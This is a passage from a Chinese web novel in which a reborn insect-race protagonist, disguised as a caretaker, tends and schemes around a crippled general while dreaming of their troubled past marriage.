塞利斯张了张嘴,一时发不出声,只能点头。
帕尔萨操纵轮椅缓缓下降,停在桌边。他盯着食物看了很久,久到塞利斯以为他要扔掉。
然后,他拿起了刀叉。
第一口肉送进嘴里,帕尔萨停顿了一下。他抬起眼,第一次真正看向塞利斯。
眼神里带着审视。肉排的火候、调味,甚至搭配的香草,都精准踩在他的偏好上。
面前的亚雌似乎有些失魂落魄,像是被他的样子吓到了,帕尔萨有些不耐地蹙了下眉。
“你以前,”他声音很冷,“照顾过病虫?”
塞利斯回过神,强迫自己垂下眼。“是的,先生。”他放轻声音,“我有个相依为命的哥哥,他精神海不稳,一直是我在照顾。”
帕尔萨嘴唇动了动,似乎想说什么。
塞利斯没给他机会,再抬眼时,已是一副哀伤脆弱的样子,像一朵菟丝花。
他望向帕尔萨暗红的眼睛,接上准备好的说辞:“前些日子,他在战场上去世了。”他顿了顿,声音哽咽,“我一直很愧疚,是我没能照顾好他。”
塞利斯心里却是冷漠地想:哥哥?我哪来的军雌哥哥。不过是编来博取同情的话罢了。
可目光触及帕尔萨破碎的侧脸和空荡的裤管,一股不受控制的酸涩感猛地冲上鼻尖和眼眶。
他强行压下去,语气转为窘迫而恳切:“我最近真的很需要这份薪水,请让我留下来吧先生!我什么都可以学,什么都能做!”
窗外阳光照进来,映亮少年琥珀色的眼睛,那里泛着一层朦胧的泪光。
帕尔萨看着这张平平无奇的脸,对上那双痛苦的眼睛时,心口不知为何微微一紧。
他没再说话,重新低下头,开始进食。动作不紧不慢,吃了大半块肉排,连汤也喝了许多。
对一个长期靠营养剂度日、对食物失去兴趣的人来说,这几乎算是个奇迹。
吃完,他用餐巾按了按嘴角,一个依旧带着贵族式本能的动作。
“二楼有空置的客房,你自己挑一间。”帕尔萨操纵轮椅转向,声音听不出情绪,
“试用期七天,不要打扰我,保持安静,有事可以找菲克。”
他没再看塞利斯,悬浮轮椅载着他,无声地消失在楼梯拐角。
塞利斯站在原地,看着那背影消失,不自觉地攥紧了手。
他预想过帕尔萨会落魄,会消沉,想好了要如何趁虚而入,再狠狠搓磨他。
但没想过会是这样,帕尔萨像是被人打碎后,随手拼凑起来,又摇摇欲坠。
“恭喜你!”菲克欢快的声音打断塞利斯的思绪。
“你看我就说主虫对你是不同的~”
圆头圆脑的菲克滑到他脚边,“主虫回房间啦~按照惯例,接下来直到明天早上送早餐,他都不会出来,也不会允许任何虫打扰!”
“哇哦,你居然让他吃了食物,还吃了那么多!这是过去三个月里主虫摄入热量最高的一餐!值得载入家庭日志!”
塞利斯低头看向菲克,暂时压下心头的情绪。
他露出温和中带有一些担忧的笑容:
“也要谢谢菲克帮我呀,先生他,一直这样吗?我是说,不太愿意出来,也不太吃东西?”
“是的呀是的呀!”
菲克似乎很高兴塞利斯留下来,手舞足蹈,
“主虫受伤来到这里后就一直这样封闭自己,只在菲克送营养剂的时候才有互动,其他时候都不理菲克!菲克都要憋坏啦!”
它凑近一些,显示屏上又出现一个“(′??? ??`)”的哭脸。
“菲克很担心主虫,他的生命体征数据很不稳定,精神波动指数长期处于危险阈值边缘,躯体伤痛指数也居高不下。”
“可他拒绝治疗舱治疗,只使用基础镇痛和营养维持。菲克觉得,主虫好像在惩罚自己。”
惩罚自己?为了什么?为了那个白月光?!
塞利斯胸腔涌上一股怒意,但面上依旧不显,披着和善的外衣。
“菲克,”他放轻声音,带着诱哄,
“你能告诉我,先生平时都做些什么呢?我想多了解一下先生,方便更好地照顾他。”
“(★ω ★)”菲克的显示屏立刻变成星星眼。
“洛纳你真是个好虫!”
小机器虫开始滔滔不绝:
“主虫大多时候都把自己关在卧室里,有时候会在露台抽茄叶发呆,一整天都不动。
菲克检测到他有严重的睡眠障碍,平均每晚深度睡眠时间不足两小时,有时候会突然精神力暴动。”
“对了,不要随意进主虫卧室,上次主虫好久没出来,我为了清洁垃圾没经他同意进去了,被狠狠地丢了出来。”菲克提醒说道。
塞利斯心下一沉,帕尔萨意志的消沉比他想的还要严重。
夜深时,塞利斯躺在客房柔软的大床上,却睁着眼,毫无睡意,脑海中反复浮现帕尔萨爬满虫纹的侧脸和空荡的裤管。
他翻来覆去很久,才迷迷糊糊睡着。
意识沉入梦境。
这是他晋升A级雄虫后的第一次公开露面。
塞利斯穿着绣有金线的白色军装,领口别着象征高等级的紫晶徽章,周围投来痴迷和贪婪的目光。
所有人都想从他身上得到点什么——信息素的渴望,精神力的安抚,或者仅仅是认识A级雄虫的名头
他恶心这一切。
直到帕尔萨走进礼堂。
那个军雌穿着一身笔挺的帝国少将军装,高大的身形充满压迫感,黑色制服贴合着宽阔的肩膀和劲瘦的腰身,隐藏着极强的爆发力,金色绶带斜挎在胸前。
他刚从战场回来,眉宇间却不见疲惫,只有一种淬炼过的冰冷锐利。
授勋仪式很冗长。帕尔萨单
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膝跪地,接受元帅佩戴勋章时,整个礼堂的目光都聚焦在他身上。
包括塞利斯的。
帝国最年轻的上将,前途无量。
他看见帕尔萨低垂的侧脸,鼻梁挺拔,下颌线的尽头是翼状薄膜化的耳廓。
抬起手行礼时,手套包裹的手掌骨骼宽阔异常,手指修长有力。
典礼后的宴会上,帕尔萨正与同僚交谈,脸庞在水晶灯照射下镀着一层光晕,说话时唇角会有极淡的弧度。
“那就是帕尔萨上将。”塞利斯听到旁边一位年长的雄虫低声说,语气里带着欣赏,
“年轻有为,听说精神力已经到S级巅峰了,可惜还没有结婚,要是能有个高级雄虫疏导......”
后面的话塞利斯没听清,他再向那边看去时,已经没了身影。
不断有雌虫上前搭讪,让他感到窒息,找了个借口溜到露台。
然后他看见了帕尔萨。
对方独自倚在栏杆边,手里握着杯香槟,正望着远处星空出神。
军装外套随意搭在臂弯,身上只余一件白色衬衫,领口松了两颗,袖子挽到手肘,露出线条流畅的小臂。
月光勾勒出他劲窄的腰身,被布料包裹的长腿,以及在军裤下绷出清晰弧线,饱满而挺翘的臀部。
听到脚步声,帕尔萨转过头。
四目相对。
“塞利斯阁下。”帕尔萨微微颔首,语气平淡,听不出情绪。
“上将。”塞利斯罕见的有些不知所措。
短暂的沉默。
“里面太吵了?”帕尔萨忽然开口。
塞利斯愣了愣,才反应过来他在说什么。“...嗯”
又是一阵沉默。夜风吹过,带来帕尔萨身上极淡的信息素味道,像是凌冽的冰雪,意外地干净好闻。
“你不进去?”塞利斯问完就后悔了,这问题蠢得像没话找话。
“不了。”帕尔萨说,“我该回军部了。还有战报要处理。”
他放下高脚杯,拿起外套。经过塞利斯身边时,脚步微微一顿。
“阁下。”
塞利斯抬起头。
帕尔萨看着他,暗红色的眼眸在夜色中显得格外沉静。
“如果不想应付,可以让雄子保护协会送您回去。您是A级雄虫,有这个权利。”
说完,他微微颔首,转身离开。
塞利斯站在原地,帕尔萨近身说话时,低沉磁性的声音让他的耳朵微微发痒。
他看着帕尔萨的背影消失在走廊尽头。露台上还残留着那人信息素的味道,漂浮在夜风中。
醒来时塞利斯还有些懵,鼻尖前好似还有萦绕不散的香气。
他梦见了上一世初次见到帕尔萨的时候,他记得当时的自己表现的很冷漠,但是视角可能因为梦境的原因变得感觉十分奇怪。
塞利斯低头看向一大早和他点头致意精神满满的好兄弟,烦躁的翻身瘫在床上。
他平复了一下身体的反应,没有多躺起了身。
在厨房里准备好清淡的早餐,一碗熬得稠糯香甜的粟米粥,几样清爽的小菜,还有一杯温度适宜的柯麦茶。
塞利斯让菲克送去,十几分钟后,菲克端着只动了一些表面的早餐回来了。
“(╥﹏╥)”显示屏闪烁:“主虫没胃口。洛纳,怎么办?”
5. 第 5 章 花园的用处
塞利斯没感到意外,打动帕尔萨不会一直像昨天那么容易,无论是胃,还是心,都要慢慢来。
“没关系,午餐再试试。”他系上围裙,开始整理厨房。
收拾完后看天气正好,问菲克要了工具,走向花园。
帕尔萨有一个和他冷硬外表不相符的爱好,喜欢种植奇珍异草,对普通的植被也会呵护照料。
上一世他们婚后的庄园里有一处后山,挥金如土的长时间覆盖着能量穹顶。
不同区域模拟着原生态的生长环境,只为帕尔萨的花花草草能够舒适的生存。
但眼前的花园明显长时间疏于打理。
生命力强的,枝丫野蛮的张牙舞爪的铺开拓展空间,生命力弱的,已经干枯到奄奄一息。
帕尔萨连花草也不在意了么。
塞利斯一时茫然,如今的帕尔萨像花园里的枯败的植物一样,自暴自弃,无虫问津。
他辨认出几种星际罕见的观赏植物,其中一种开着幽蓝色小花的灌木,名为寒星草,散发着极其清淡的香气。
塞利斯没有大刀阔斧地改造,只是先清理了枯萎的枝叶,给缺水的植物仔细浇了水,再修剪了一番过于放肆的枝藤。
打理的过程中,他能感觉到二楼那个窗帘紧闭的房间,偶尔会有一道极淡的视线落在他身上。每当他若有所感地抬头望去,那视线又消失了。
午餐的时候,他做了一份手工拉面。
汤底是小火慢熬了一上午的兽骨高汤,滋味醇厚,铺上轻薄的肉片和翠绿的蔬菜,依旧让菲克送去。
这一次,菲克回来得晚了一些。
“(?ω?)”屏幕闪烁:“主虫把面和汤都吃完了,虽然吃得很慢!”
“很有进步。”塞利斯眉眼弯弯的擦着手。
“菲克还说了塞利斯上午在整理花园~让环境更好一些~”菲克邀功似的转了个圈。
塞利斯笑了笑:“谢谢你呀,菲克。”
下午,他继续打理花园,午后的花园暖洋洋的,混合着植物的清香。
塞利斯找来一把躺椅放在幽蓝花丛旁,放松的躺在上面闭目养神。
恍惚间,想起好像也是这样一个午后。
他躺在花卉区休憩处的休闲椅上,两旁是高大的、叶片呈银蓝色的观叶乔木,洒下斑驳清凉的光影。
周围环绕着花瓣如水晶般剔透的星辉兰,匍匐在地会随着光线强弱变换深浅紫色的暮霭蔓,还有一丛丛低矮的灌木,开着细碎白色小花的静心栀。
一条蜿蜒的碎石小径通向远处,帕尔萨就这样沿着小径缓缓向他走来。
来到塞利斯身旁时,帕尔萨也不说话,静静的盯了他一会。
塞利斯不耐的抬眸,对上帕尔萨的眼神时一怔。
帕尔萨专注的红色眼眸深处好像翻滚着火焰,看的塞利斯后背莫名的一阵酥麻。
两人对视一会,塞利斯败下阵来准备起身时,帕尔萨忽然压了上来。
塞利斯闻到了厚重的冰雪气息,让他的意识有片刻的模糊,还未来得及发出声音就消失在唇舌之中。
他忽然又清醒片刻,翻身将帕尔萨压在躺椅上,他听到自己的呼吸变得沉重,在帕尔萨脖颈处咬了一口,换来一声轻笑。
园中花卉争芳斗艳开的正好,灌丛中也结着许多小果。塞利斯被笑的有些恼,不服输的吃住一颗红色的果实。
帕尔萨骤然一窒,双目微阖抱紧了他,而后声音变得难耐。
一阵微风拂来,塞利斯感到一些清凉。
他看着眼前俊美的青年脸上浮现红霞,银色的长发湿漉漉的贴在面颊,向来冷冽的双目在此刻失了焦,身上又涌上一股燥意。
微风阵阵拂来,吹了好久,吹得树影婆娑摇曳,也吹得两个重合的影子晃动了好久 。
回忆如潮水般退去,睁眼时日光已经西斜,他看向二楼那不曾打开的窗帘,心中莫名一阵空落。
傍晚时分,他采摘了几株寒星草带着花苞的枝条。
问菲克要了一个简洁的白色细颈瓶,注入清水,将花枝插好。那淡淡的清香在室内弥漫开来。
晚餐塞利斯没有再做复杂的菜式,而是将插好的花瓶,和一份易于消化的营养简餐摆在托盘上,让菲克送去。
“主虫盯着花瓶看了好久~”菲克回来汇报。
“(⊙o⊙)”屏幕闪烁:“但他什么也没说,饭吃了很多。不过菲克感觉到,房间里的精神压力值好像降低了一点点哦!”
塞利斯心里微微一松,看来有戏。帕尔萨不仅留意到了,也并不反感。
几天后的午餐时间,他故意让菲克带话上去:
“帕尔萨先生,寒星草有几根枝条开始发蔫了,试了几种营养液都不见好,该怎么救呢?”
不一会儿,菲克就滑了回来。
“(???)”头顶屏幕欢快地闪着,机械臂举着电子光幕。
“主虫给的!天啊,连土壤配比、酸碱度调节和不同生长阶段的养护要点都写全了!”
它兴奋地转了个圈,“洛纳,你真行!主虫已经很久没有交流过这么多内容了!”
林恩接过光幕,指尖划过上面条理清晰的记录,目光落在最后一行手写的补充提醒上:
【避免正午浇水。根系怕闷,土壤需保持透气。 ——P】
他嘴角不自觉地弯了一下,很快又抿平。
下午在花园劳作时,塞利斯脱掉了外套,只穿着简单的白色工装背心,露出的部分皮肤在光线下白的耀眼,有一种介于少年与青年之间毫不矫饰的生命力。
他工作得很认真,仿佛完全沉浸在自己的事情里。但他能感觉到,那道来自二楼的视线,今天停留的时间,似乎比前两日要长一些。
接下来几日,塞利斯按照帕尔萨的方法照料寒星草,通过菲克向帕尔萨汇报进展,并且时不时附带一些观察的想法和疑问。
帕尔萨的回复虽然依旧言简意赅,但交流的内容从单纯的花草,慢慢扩展到询问帕尔萨想要的饮食料理。
和帕尔萨的交流虽然隔着菲克,但也日益渐多,塞利斯平安的度过了试用期。
菲克兴奋地记录着这一切,显示屏上每天都闪烁着“(*^▽^*)”,认为主虫的状况正在一点点好起来。
然而塞利斯清楚,这远远不够,他想找机会和帕尔萨近距离接触。
在塞利斯来了快有半个月的一天傍晚,塞利斯正在厨房准备晚餐,整栋别墅的灯光忽然闪了一下,紧接着二楼传来“咚”的一声闷响,像是什么重物摔在了地上。
菲克头顶的警报灯瞬间变成红色,发出急促的滴滴声:“警告!警告!检测到主虫卧室精神力波动异常升高!躯体伤痛指数急剧上升!”
塞利斯的心猛地一紧,扔下手中的东西就往楼上冲。
“洛纳!你不能进去!主虫严禁——”菲克试图阻拦,但它的速度远不及塞利斯。
塞利斯冲到卧室门口,抬手敲门,声音失去了平日的温顺克制,焦急道:“先生!帕尔萨先生!您还好吗?能听见吗?”
门内没有回答,只隐约传来压抑的、带着痛楚的喘息声。
塞利斯等了两秒,握住门把一转,帕尔萨大概没想过有虫敢闯他房间,门并没有锁。
“失礼了!”他推门进去。
卧
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室里没有开灯,地上散乱着一些打落的物品。
帕尔萨正半跪在地毯上,单手撑地,试图将自己挪回轮椅。
他摔得不轻,另一条空荡的裤管无力地蜷缩着,未被虫纹覆盖的右半张脸脸色惨白,额头上全是冷汗,爬满左脸的虫纹在昏暗光线下仿佛活了一般微微蠕动,看上去既狰狞又脆弱。
他精神海域极不稳定,已经有了半虫化的迹象,双臂已经覆上几丁质的纹路,两只手已经化为类人形的利爪,肩胛处的骨翼也挣扎欲出。
见塞利斯闯进来,帕尔萨暗红的瞳孔猛地一缩,里面翻涌起剧烈的情绪,有震惊和被窥见狼狈的怒意。
他咬着牙低吼,声音因为疼痛而撕裂:“滚出去!谁准你进来的!”
“您需要帮忙。”塞利斯快步走近,蹲下来看着他,语气急迫,“先生,我是您的护工,照顾您是我的职责,请相信我!”
帕尔萨死死地盯着他,胸膛剧烈起伏,暗红的眼眸里风暴肆虐。他讨厌被看见如此不堪的样子,更讨厌陌生虫的触碰。
但塞利斯的目光真诚清澈,只有焦急和担忧,没有他预想中的惊恐、厌恶或怜悯,
就在帕尔萨抗拒的瞬间,左腿残端传来一阵尖锐的幻痛,让他闷哼一声,撑地的胳膊一软。
塞利斯没再犹豫,直接用公主抱的方式一把抱起帕尔萨,将他稳稳的放回床上。
抱起来的瞬间,塞利斯心头一窒,失去一条腿的帕尔萨比上一世轻了太多,一股酸涩猛地冲上他眼眶。
帕尔萨震惊的看着这个瘦弱的亚雌稳稳的抱起自己。
他闭上眼,深吸一口气压制自己,以防半虫化的状态不慎伤害到塞利斯。
被放回床上后,帕尔萨本想立刻让他出去,却见眼前的少年在床侧跪坐下来,双手捧住他一只已经虫化的手,把脸埋了进去。
帕尔萨感觉到掌心传来湿意。他动了动唇,最终什么也没有说。
塞利斯刚才放下帕尔萨的时候泪水不受控制的涌落,让他觉得丢脸,下意识抓着帕尔萨的手想遮一遮。
回过神来时,才感受到手心传来虫化甲壳的硬度,以及下面血液狂暴带来的灼热温度。
这是活生生的帕尔萨,是他十年没见的帕尔萨。
他怎么能、怎么敢为了别的雄虫把自己折磨成这个样子!
愤怒、怨恨、还有某些深到他不敢细想的委屈和思念,一起涌上来。
......眼泪更止不住了。
过了一会儿,塞利斯收拾好情绪,抬起脸。“帕尔萨先生,让菲克送几支精神舒缓剂过来,可以吗?”
看着少年湿漉漉的琥珀色双眸,眼眶还在红着,好像下一秒又能哭出来,帕尔萨沉默,没反对。
塞利斯就当他是默许,叫来了菲克。菲克安静地滑进来,又安静地滑出去,努力把自己装作一团透明的空气。
注射的时候,趁帕尔萨被药效分散注意,塞利斯悄悄释放出精神力,进行浅层精神安抚。
帕尔萨的精神海域非常危险,如果他不愿意,普通雄虫根本进不去,还可能被反噬。
塞利斯等级虽高,也没把握在不伤到他的前提下强行突破他的精神壁垒。
随着药剂生效,再加上精神力安抚,帕尔萨因痛苦而微颤的身体渐渐平复下来,脑中的刺痛也缓解不少。
他看着身旁神情专注的塞利斯,手上还残留着刚才柔软的触感。
有些走神的想着,之前的舒缓剂,起效有这么快的吗?
注射完三针后,帕尔萨沙哑的声音打破了寂静,红色的眼眸晦暗难辨,语气听不出情绪。
“...你不怕?”
6. 第 6 章 梦中的缠绵和痛苦
塞利斯正在给他掖被角,手上没停,语气轻柔:“怕什么?您受伤了,需要帮忙,这很正常。”
他顿了顿,又说,“以前照顾我哥哥的时候,他也常这样,精神海一痛起来什么反应都有。”
塞利斯抓了个铺垫过的理由,又把那个不存在的“哥哥”搬了出来。
帕尔萨想,他说的“反应”恐怕是指暴躁、半虫化,甚至可能因为精神混乱攻击别虫。
这个叫洛纳的少年,以前过的是这种日子么。
塞利斯觉得或是帕尔萨还处于药后疲惫期,没有继续提问。
他把地上散落的东西收拾好,把悬浮轮椅推到床边合适的位置,然后退到门边,微微低头:
“先生,要是没别的事,我先出去了。晚餐一会儿让菲克送来。您好好休息。”
语气温顺自然,好像刚才那场闯入、那些肢体接触和眼泪,都没发生过一样。他在帕尔萨的沉默中轻轻带上了门。
也许是白天情绪太过波动,塞利斯晚上睡的并不安稳。
梦中的情景深深缠困着塞利斯的意识,开始是零碎的画面,后面开始变成一段连贯的记忆洪流。
那似乎是他与帕尔萨婚姻的第二年。
最初的冷漠相对,在日复一日的相处中,被帕尔萨那种沉默的却又无孔不入的温柔,悄然磨钝了棱角。
一场突如其来的换季流感使他高烧不退,意外的导致腺体发炎。
因为塞利斯早年腺体受损,许多药物不能随意使用。
私虫医疗团队也只能注射镇定消炎的药物后,建议物理降温和等待自身免疫力系统发挥作用。
帕尔萨彻夜未眠的守护在床边,用浸湿的毛巾一遍遍擦拭他滚烫的身体,动作轻柔的不可思议。
当他因难受而蹙眉轻吟,帕尔萨便会立刻俯身调整他枕头的角度,掖好被角,一只手在他身上轻拍安抚。
他半梦半醒间,感觉到唇上有湿润的棉签擦过,而后是微凉的手指,极轻地拂过他汗湿的鬓角。
他听见向来帕尔萨清冷的声音低喃:“雄主,快点好起来......”
那一刻,烧得糊涂的塞利斯,竟奇异地从那低沉嗓音里,感受到珍重和爱怜。
梦境跳转,他因接受定期的腺体治疗,产生了修复性的结合热。
后颈间的腺体跳动灼痛,一股滚烫的不受控制的热度,从腺体迸发沿着脊椎蜿蜒向下汇合。
他蜷在床铺深处,昂贵天丝被褥被拧得皱乱,冷汗浸透了他单薄的睡衣,黏腻地贴在因高热而泛着不正常红晕的皮肤上。
一种摧毁意味的渴求,几乎要烧穿他的理智。
“雄主。”意识模糊间,他感觉帕尔萨的声音靠近,低沉又带着不明的沙哑。
帕尔萨试探性的放出信息素缠绕上来,想要帮助他缓解腺体的痛楚,但又怕他拒绝。
信息素的突然碰触,让塞利斯猛的一颤。
他感觉到身侧的温热,一把将人拽过来,压了上去。
宽肩窄腰的军雌没有丝毫的反抗,因动作牵扯,帕尔萨的睡袍领口散乱,露出饱满的肌肉线条。
他用手指捏住帕尔萨的下颌,近距离的看着眼前的雌虫,他滚烫的呼吸洒在雌虫的皮肤上,激起轻微的战栗。
雌虫一双红色的双眸此刻炙热的像红宝石,却又带着克制和担忧的看着他。
他的力道很大,在雌虫冷白的下颌出留下泛红的指痕。
拇指缓缓上移,打开那轻薄又柔软的嘴唇,按了下去,触碰到舌尖的湿润。
看着在外冷冽到生人勿近,众人高不可攀的帝国上将,就这样在他面前一副任他肆虐的样子。
一股暴虐的躁意直冲而下,他觉得自己已经被结合热折磨的理智尽失。
他想极致的破坏,却又装作脆弱无助,将头埋在雌虫的颈间。
一边贪婪地嗅着那冰雪的气息,一遍委屈道:
“帕尔萨——”
“我好难受。”
在雌虫心疼的主动上前安抚,房间里充斥着浓郁的冰雪夹杂的玫瑰的的味道。
他紧紧抱着已经大汗淋漓的雌虫,痴迷的看着那眼尾弥漫着红晕、双瞳不受控制开始上翻的眼睛。
“放松。”他听见自己缓缓的安抚,又卑劣的欺骗道。
“我不会进到生殖腔。”
只听见雌虫喉间溢出一点模糊的,像是解脱又像是更加煎熬的鼻音。
画面再变,是他在军事学院的毕业典礼。
他作为优秀毕业生代表发言,台下黑压压一片,无数目光聚焦在他身上,有欣赏也有嫉妒。
就在这时,他看到了站在礼堂最后方阴影里的帕尔萨。
银发的雌虫穿着军装,身姿笔挺如冰雪寒风中屹立的松柏,静静地望着他。当他的目光与帕尔萨对上时,雌虫嘴角勾起轻微的弧度。
周围的景象好似飞梭模糊,他的眼中只剩下一双冷静沉稳的红色双眸。
典礼结束后,帕尔萨没有上前,只是让副官送来一束珍稀的星光兰。
花束中附着一张简洁的卡片,上面是帕尔萨铁画银钩的字迹:
【恭喜毕业,雄主。为您骄傲。】
没有署名,没有更多言语。
塞利斯抱着那束清冷幽香的花,站在喧闹散去后的礼堂门口,心跳莫名失序。
他忽然觉得,也许被这样一个沉默而强大的军雌注视着、保护着,也许这段婚姻,并不是一件完全无法忍受的事情。
这些点点滴滴,如同水流,在漫长的时光里,一点点温暖了他冷漠的心。
他开始习惯帕尔萨的存在。
习惯他深夜归家时带来的沾染了冰雪气息的外套。
习惯餐桌上总会摆着他无意中提过一句想吃的菜肴。
习惯自己总在下意识的寻找那双红色的双眸。
他觉得心中有一颗种子,在破土发芽疯狂生长。
就在他犹豫着,是否该卸下最后的防备,尝试去回应,去真正接纳这段始于强迫的婚姻时——
艾尼亚找到了他。
梦境中的艾尼亚,依旧是那副温柔可靠的模样,只是带着欲言又止的担忧。
两虫在一家僻静的咖啡厅见面,艾尼亚紧紧握着杯子,仿佛内心充满挣扎。
“塞利斯,”艾尼亚的声音充满了不忍,
“有些事,我思考了很久,觉得不能再瞒着你了,这对你不公平。”
“是关于帕尔萨上将的。”艾
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尼亚抬起眼,目光中带有心疼,
“知道你们关系缓和了许多,我是真的为你高兴。”
“但是...你了解他的过去吗?了解他内心深处,真正藏着谁吗?”
他骤然抬头盯着眼前的雌虫,心中有一股不祥的预感。
艾尼亚告诉了他一个秘密:
帕尔萨在军队出任务时有一个关系亲密的雄虫,共同经历过许多事情,感情非同一般。
后来在一次意外中,那位雄虫为了帕尔萨,身受重伤,从此下落不明,极大概率已经死亡。
而帕尔萨为了救他,身受重伤,疗养了好长一段时间。
“那是帕尔萨上将刻骨铭心的爱人,是他无法愈合的伤疤。”艾尼亚的语气充满了同情,
“我最近整理一些旧的军部医疗档案时,偶然发现了部分记录。”
艾尼亚观察着他的神色缓缓道,
“我知道我不该多嘴,但是我觉得你作为他如今的雄主,应该有知情权。”
“帕尔萨上将刚被救回来时,除了肢体受损,他的精神海和......”
艾尼亚顿了顿似乎是有些难说出口:
“和生殖腔,都有巨大的损伤,是在第一次终身标记时没能结合好,以及第一次标记后未能进行有效的精神安抚造成的。”
“这些可能会对帕尔萨上将造成终身性的影响。除了精神海,军雌的生殖腔被标记后会具有信息素排他性,清洗标记也会加剧生殖腔损伤。”
“帕尔萨上将出行的任务是保密的,不过我和当时一起后方配合作战的军雌沟通,可以透露的是,”
“那个雄虫长相虽然和你并不相似,但是都有一双琥珀色的眼眸。”
“哐当!”
他精神一时恍惚,打翻了手边的咖啡杯,滚烫的咖啡液溅湿了他的手背,他却感觉不到丝毫疼痛。
只觉得浑身冰冷,血液都仿佛凝固了。
原来如此。
原来那些温柔不是给他的,是给那个早已逝去的白月光。
原来那些专注的凝视,不是在看他,而是在透过他,追忆另一个虫。
原来自己所以为的互相爱慕,不过是一场可笑的一厢情愿,一个精心维持的替身戏码!
帕尔萨和其他那些贪婪的军雌有什么不同?
不,帕尔萨比他们更过分!
他们至少觊觎的是他塞利斯本身,而帕尔萨把他当成缓解欲望、安抚精神的工具,更把他当成缅怀旧爱的慰藉品!
巨大的羞辱和背叛感,如同海啸般将他淹没。
随之而来的,是锥心刺骨的疼痛,比任何物理伤害都要剧烈百倍。
梦中的他,浑浑噩噩地回到两虫婚后的庄园,在书房里找到了正在处理文件的帕尔萨。
银发的军雌抬起头,看到他眼眶通红的样子,立刻起身上前:“雄主,你怎么了?”
“别碰我!”他猛地挥开帕尔萨伸过来的手,身体因为愤怒而颤抖。
他死死盯着帕尔萨那双总是让他渐渐沉溺的暗红眼眸,一字一句,从牙缝里挤出质问:
“帕尔萨,告诉我,你心里是不是一直有别的虫?你是不是为了救他差点死掉?他是不是才是你的最爱?!”
7. 第 7 章 夜晚熟睡的雌虫
帕尔萨一时怔住,瞳孔骤缩,震惊、慌乱、痛苦无数复杂的情绪在眼中翻滚。
最后化为一片深不见底的晦暗。
帕尔萨嘴唇动了动,似乎想解释什么,但又选择了沉默。
他再也无法忍受的怒吼:
“那我是什么,你又把我当什么!你有没有爱过我?!”
帕尔萨上前紧紧抱住他,艰难道:
“你是我唯一的雄主,是我的挚爱,抱歉然然我没有办法说之前的事情。”
是唯一,并不是第一,他不是帕尔萨第一个雄虫,帕尔萨什么都不做解释。
所有的侥幸,所有的怀疑,所有的自欺欺人,都在这一刻粉碎。
帕尔萨的沉默和变相的承认,比任何激烈的辩解都更伤人。
“哈哈,哈哈哈哈——”他推开帕尔萨笑了起来,笑得眼泪都流了出来,笑声里充满了悲凉和自嘲。
他后退一步,拉开距离,“帕尔萨·奥唐纳”他直呼全名,语气是前所未有的疏离冷漠,
“我们离婚吧。”
听到“离婚”两个字,帕尔萨一直强行维持的平静瞬间碎裂。
他猛地抬起头,暗红色的眼眸里爆发出骇人的光芒,那不仅仅是痛苦,更掺杂了一种近乎恐慌的、绝不允许失去的强势。
“不行!”帕尔萨的声音陡然拔高,像是陷入了某种应激的状态,上位者的威压陡然散开。
目光死死盯住他,语气冰冷,不容置疑:
“我不同意离婚。塞利斯,你是我的雄主,这是帝国法律和信息素匹配系统双重认定的结果。只要我还活着,你永远不能离开我。”
这是帕尔萨第一次在他面前,如此赤裸裸地动用自己的地位和权势,去强硬地留住他。
不是恳求,不是解释,而是强硬的命令。
平时的温柔顺从都是伪装,到了关键时刻,他和那些高高在上的贵族军雌没有任何区别,甚至更加冷酷、更加不择手段!
所有心动的过往都像是一记记耳光狠狠地打在了他的脸上,告诉他自己是多么的可笑。
他气的大脑袭来强烈的刺痛感,让他浑身颤抖,而后脑海变得一片茫然。
“呼——!”
塞利斯猛地从床上坐起,胸口剧烈起伏,泪水顺着脸颊落下,一时分不清梦中还是现实。
梦中那种被欺骗、被当作替身的屈辱和伤心的感觉,还遗留在身体中。
他抬手捂住脸,肩膀轻轻颤抖。
塞利斯缓了许久掀开被子下床,赤脚踩在地板上,窗户外面还是一片漆黑。
他准备下楼去厨房倒一些水喝,却发现二楼露台的门虚掩着,夜风送來些许茄叶的气息。
茄叶类似于虫族的香烟,对于不同等级的军雌,茄叶的成分也不一样,等级越高的军雌越喜欢强劲的茄叶。
里面的麻啡因成分更高,成瘾性以及对大脑的致幻麻痹作用更强。
塞利斯轻轻推开门,闻到有些呛鼻的烟味。
帕尔萨隐没在宽大的休闲椅上,背对着他,悬浮椅搁置在一旁。
面对着远处漆黑的夜空和寂静的森林。他指间夹着一支茄叶,烟雾袅袅升起,似乎要这样坐到天明。
夜风吹动他的头发和衣角,让他看起来像随时会消散在风里。
他看到帕尔萨抬起手,吸了一口茄叶,那点燃的烟头明明灭灭,映着他侧脸上狰狞的虫纹和空寂的眼神。
塞利斯的心猛地沉了下去。
他今天才意识到,之前菲克说的帕尔萨有严重的睡眠障碍意味着什么。
帕尔萨每天只有极少的时间能够真正入睡,大部分漫长的夜晚,都在这里,独自对着荒原,用高含量麻啡因的茄叶熬过。
为什么?
因为那个白月光?因为失去所爱的痛苦,因为残疾的折磨,因为对过去的追忆和悔恨?
是啊,他怎么忘了。帕尔萨如此深爱那个人,甚至愿意为之付出生命,变成现在这副模样。
如今沦为废人,与所爱之人生死相隔,他怎么还可能安然入睡?
自己这些天小心翼翼的靠近,生怕触碰到他的不快,在这一刻显得如此可笑。
他再怎么做,也替代不了帕尔萨心中白月光的身影。
原本梦中的情绪都还未平息,疯狂的愤怒和恨意更是再次席卷而来,黑暗的情绪在他眼底翻涌。
塞利斯站在阴影里,显得轮廓有些扭曲。
良久,帕尔萨似乎察觉到了什么,微微侧头,之见那个亚雌推开玻璃门,表情温和的走过来。
“夜里凉,您怎么出来了?”只听他略带担忧的问道。
帕尔萨看了他一眼,按灭了烟蒂:“睡不着。”
“我也是半夜醒了,就睡不着了。”塞利斯走近,语气自然,
“正好我准备做一些安神的甜汤,待会拿过来给您。”
帕尔萨的目光落在他脸上,过了许久缓缓开口:“嗯。”
塞利斯先回屋里了一趟,看起来是加了个外衣,而后到厨房熬了一盅甜汤。
他在路过菲克时摸了摸菲克的脑袋,精神力连接到菲克的程序,调整到暂时休眠状态。
塞利斯端着汤回到露台,递给帕尔萨。
他接过来,没有立刻喝,只是看着碗里微微晃动的汤液。
塞利斯眉眼弯弯:“这是我根据星网上很火的甜汤配方研究出来的,稍微调整了里面的一些原料。
应该会符合您的口味,您尝尝,有什么意见可以告诉我。”
帕尔萨视线落到眼前笑的温柔的亚雌身上,这个虫好像总能知道他的口味。
平日里看着温顺,似乎处处行事分寸都拿捏的恰到好处。
但有时又大胆的异常,想起白天这个亚雌不顾自身危险,跑进来照顾他的样子,帕尔萨眼中不明的情绪一闪而过。
